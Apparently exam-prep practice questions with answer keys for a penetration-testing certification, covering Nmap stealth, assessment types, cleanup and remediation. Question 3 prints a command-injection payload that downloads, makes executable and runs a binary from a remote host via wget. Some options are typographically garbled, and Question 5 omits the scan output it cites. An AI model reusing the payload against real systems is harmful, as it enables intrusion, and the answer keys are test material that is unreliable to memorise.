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QUESTION 1

An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST
chance of detection? 

A. nmap -"T3 192.168.0.1 

B. nmap - "P0 192.168.0.1 

C. nmap - T0 192.168.0.1 

D. nmap - A 192.168.0.1 

Correct Answer: C 

 

QUESTION 2

Which of the following types of assessments MOST likely focuses on vulnerabilities with the objective to access specific
data? 

A. An unknown-environment assessment 

B. A known-environment assessment 

C. A red-team assessment 

D. A compliance-based assessment 

Correct Answer: B 

A known environment test is often more complete, because testers can get to every system, service, or other target that
is in scope and will have credentials and other materials that will allow them to be tested. 

 

QUESTION 3

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that
was utilized: 

exploit = "POST " 

exploit += "/cgi-bin/index.cgi?action=loginandPath=%27%0A/bin/sh${IFS}c${IFS}\\'cd${IFS}/tmp;${IFS}wget${IFS}http://
10.10.0.1/apache;${IFS}chmod${IFS}777${IFS }apache;${IFS}./apache\\'%0A%27andloginUser=aandPwd=a" 

exploit += "HTTP/1.1" 

Which of the following commands should the penetration tester run post-engagement? 

A. grep-v apache ~/.bash_history > ~/.bash_history 

B. rm-rf /tmp/apache 
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C. chmod 600 /tmp/apache 

D. taskkill /IM "apache" /F 

Correct Answer: B 

 

QUESTION 4

A penetration tester discovers during a recent test that an employee in the accounting department has been making
changes to a payment system and redirecting money into a personal bank account. The penetration test was
immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the
future? 

A. Enforce mandatory employee vacations 

B. Implement multifactor authentication 

C. Install video surveillance equipment in the office 

D. Encrypt passwords for bank account information 

Correct Answer: A 

If the employee already works in the accounting department, MFA will not stop their actions because they\\'ll already
have access by virtue of their job. 

 

QUESTION 5

A penetration tester conducted a vulnerability scan against a client\\'s critical servers and found the following: 

Which of the following would be a recommendation for remediation? 

A. Deploy a user training program 

B. Implement a patch management plan 

C. Utilize the secure software development life cycle 

D. Configure access controls on each of the servers 

Correct Answer: B 
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